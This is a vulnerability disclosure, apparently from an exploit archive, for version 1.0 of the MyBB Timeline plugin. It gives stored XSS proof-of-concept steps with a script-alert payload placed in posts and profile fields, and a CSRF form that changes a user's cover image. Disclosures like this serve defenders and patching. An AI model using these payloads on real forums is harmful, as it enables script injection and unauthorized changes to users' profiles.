MyBB Timeline 1.0 Cross Site Request Forgery / Cross Site Scripting

MyBB Timeline plugin version 1.0 suffers from cross site request forgery and cross site scripting vulnerabilities.

MD5 | 07af945c1ca865c50d8bff5444d26630

# Exploit Title: MyBB Timeline Plugin 1.0 - Cross-Site Scripting / CSRF
# Date: 1/21/2021
# Author: 0xB9
# Software Link:
# Version: 1.0
# Tested on: Windows 10

1. Description:
MyBB Timeline replaces the default MyBB user profile. This introduces cross-site scripting on user profiles & a CSRF that allows for the users timeline banner/image to be changed.

2. Proof of Concept:

~ XSS via Thread/Post ~
- Make a new thread or reply to an existing thread
- Input a payload in either the thread title or main post itself <script>alert('XSS')</script>
Payload will execute when visiting your profile.

~ XSS via Location/Bio ~
- Go to User CP -> Edit Profile
- Input a payload in the Location/Bio <script>alert('XSS')</script>
Payload will execute when visiting your profile.

~ CSRF ~
<form class="coverpicForm" action="http://localhost/mybb/timeline.php?action=profile&uid=1" style="display: block;">
<input type="text" name="coverpic" placeholder="Add Image URL" required="">
<input type="hidden" name="do_coverpic" value="change">
<input type="submit" value="Change">

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